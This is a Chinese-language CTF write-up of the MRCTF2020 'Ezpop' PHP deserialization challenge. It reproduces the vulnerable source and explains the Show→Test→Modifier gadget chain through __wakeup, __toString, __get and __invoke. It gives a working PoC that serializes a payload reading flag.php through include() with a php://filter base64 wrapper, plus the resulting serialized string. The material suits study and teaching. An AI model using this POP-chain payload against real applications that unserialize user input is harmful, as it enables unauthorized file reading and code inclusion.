前言
最近在回顾php反序列化知识时遇到了一道题,感觉知识点挺多的,可以全面复习下反序列化。
源码
class Show{
public $source;
public function __construct($file='index.php'){
$this->source = $file;
}
public function __toString(){
echo 'you are success!'
return 'yes';
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = 'index.php';
}
}
}
首先看一道从题目中抽离出来的简单考点,也是题目中的一个重点。在反序列化执行时,首先会触发__wakeup() ,而我们的目的是要最终触发__toString() ,要知道将对象当字符串调用时会触发此函数,例如echo '对象' 、或者正则匹配preg_match('','对象') 等。所以该题可以利用正则触发,只要将$this->source=new Show; 那么怎么实现呢? poyload:
class Show{
public $source;
public function __construct($file='index.php'){
$this->source = $file;
}
}
$a = new Show();
$a->source = new Show;
$c = serialize($a);
$b = new Show($a);
$c = serialize($b);
echo urlencode($c);
其实最终就是将$this->source 的值变成了Show 对象,这样匹配的字符串就成了对象值,最后触发了 __toString() 。通过调试发现if 中的内容会直接跳过,并不会执行。  接下来看正题
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='demo3.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "demo3.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
反序列化构造pop链可以考虑正向也可以逆向构造,正向一般是找反序列化触发点,但从触发点往下找比较复杂的情况一般是很难找的,做CTF时个人感觉逆向构造好一点,或者两种结合。比如先找能够RCE或者文件包含的点,然后顺藤摸瓜,找到触发点,而此题需要文件包含flag。
- 在append函数中可以文件包含,所以这里尝试包含flag,但怎么调用append,顺藤摸瓜,看到
__invoke() ,__invoke() 当脚本尝试将对象调用为函数时触发,也就是如果一个函数中有$a(); 这种形式的,并且a变量可控,那么就可以传入一个__invoke() 函数所在的实例化对象,由于返回值是以函数类型返回,导致__invoke() 函数触发。 - 那么继续往下找,在Test类中的
__get() 函数里正好会返回一个$function() ,并且$p 变量可控。因此只要将$p=new Modifier() 就可以触发。但是__get() 函数如何触发呢? __get() 是访问不存在的成员变量时调用的。例如实例化一个对象,然后调用了一个类中不存在的成员变量,则会触发__get() 函数,知道如何触发,接下来寻找触发的点,我们看到这么一个函数,
public function __toString(){
return $this->str->source;
}
如果$this->str=new Test; ,那么它将调用一个该类中不存在的变量source ,从而触发__get() 函数。那么如何触发__toString() 呢?是不是很熟悉,在本文开头已经讲过这个案例了。 所以来捋一捋pop链,
Show->__wakeup()->__toString()->Test
Test->__get()->Modifier
Modifier->__invoke()->append()->flag
整条链就是,
Show->__wakeup()(preg_match把Show对象当作字符串触发)->__toString()(使类中的str为Test对象,输出不存在的对象触发)->Test->__get()方法->Modifier->__invoke()(调用对象以函数的形式触发)->append()->include(文件包含,包含flag)
POC:
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file='demo3.php'){
$this->source = $file;
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier;
}
}
$a = new Show();
$a->str = new Test();
$b = new Show($a);
$c = serialize($b);
echo urlencode($c);
调试利用链  这里有个细节讲一下,大佬应该都知道,我之前很模糊,调试后才知道,序列化的数据在反序列化后执行顺序是由内而外的,意思是会先执行里面的Show对象,结束后再执行外面的Show对象,然后由于外部Show的参数source的值是Show对象,所以会将Show当作参数再调用一次。 如下:
O:4:“Show”:2:{s:6:“source”; O:4:"Show":2:{s:6:"source";s:9:"demo3.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{S:6:"\00*\00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}} s:3:“str”;N;} 红的这部分是外部Show对象的source的值,内部Show对象在执行时会优先执行,但是因为它source的值为demo3.php,所以会过不去preg匹配直接跳过,也不会触发任何函数然后结束,如下图  然后接着会反序列化执行外部Show,重新调用__wakeup,  这时参数已经为Show对象了,接下来就会将对象当作字符匹配从而调用__tostring()函数。不过这里是str=null,并不是之前的Test对象了,因此我们并未对外部Show的str参数赋值Test。没关系,往下看,  这时是不是已经看到取值是不是已经变为内部Show对象的两个变量取值了,因为在比较字符串时对象也执行了,而同时又触发了__toString() 函数,所以可以看到这个结果。 下面继续执行就会通过创建Test对象调用一个不存在的source 参数,触发__get() 函数。  而变量p=new Modifier ,所以对象当函数被调用触发了__invoke()函数  最终就调用了append函数达到了文件包含获取flag的目的。
参考文章:https://www.cnblogs.com/th0r/p/14152102.html#demo3 https://mayi077.gitee.io/2020/05/09/MRCTF2020-Ezpop/
|